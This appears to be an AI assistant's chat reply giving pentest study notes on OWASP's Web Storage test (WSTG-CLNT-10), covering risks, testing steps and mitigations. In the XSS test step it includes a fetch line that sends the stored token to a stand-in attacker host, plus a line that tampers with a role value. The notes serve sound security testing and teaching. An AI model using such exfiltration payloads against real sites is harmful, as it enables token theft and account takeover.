Perfect 👍 Let’s cover **precise notes for “Testing Web Storage” (WSTG-CLNT-10)**.

**📝 Testing Web Storage**

**🎯 Purpose**

To test if the application securely uses **HTML5 Web Storage APIs**:

* localStorage → persists data (even after browser close).
* sessionStorage → lasts until tab/browser is closed.

Both are accessible via JavaScript → if **XSS exists**, stored data can be stolen.

**⚡ Common Risks**

1. **Sensitive Data Exposure**
   * Storing **tokens, session IDs, passwords, PII** in localStorage.
   * Unlike cookies, **not protected by HttpOnly** → JS can read it.
2. **Persistence**
   * localStorage survives logout/close → if stolen, can be reused.
3. **No Expiry Mechanism**
   * Unless explicitly coded, stored values remain forever.
4. **XSS Amplification**
   * Any XSS = full compromise of storage.

**🔍 How to Test**

**1. Inspect Storage**

* Open **DevTools → Application → Storage → Local/Session Storage**.
* Look for:
  + Access tokens, JWTs, CSRF tokens.
  + PII (emails, phone numbers, credentials).

**2. Try Reading Data via Console**

console.log(localStorage);

console.log(sessionStorage);

**3. XSS Payload Test**

* If XSS possible, attempt:
* fetch("https://attacker.com/steal?data=" + localStorage.getItem("token"));
* Confirms exfiltration risk.

**4. Tampering Test**

* Modify values manually:
* localStorage.setItem("role", "admin");
* Refresh app → check if logic depends on client-side storage.

**🛡️ Mitigation**

* **Never store sensitive data in Web Storage.**
* Prefer **HttpOnly, Secure cookies** for session tokens.
* Clear storage on logout (localStorage.clear()).
* Apply strong **XSS protection** (CSP, sanitization).
* Validate all security decisions server-side (not based on client-stored data).

✅ **Key Takeaway:**  
Web Storage is **not secure for secrets**. Always assume it can be read/modified by attackers via XSS or local tampering.

👉 Do you want me to also prepare a **checklist of sensitive items** you should always search for in localStorage/sessionStorage during a test?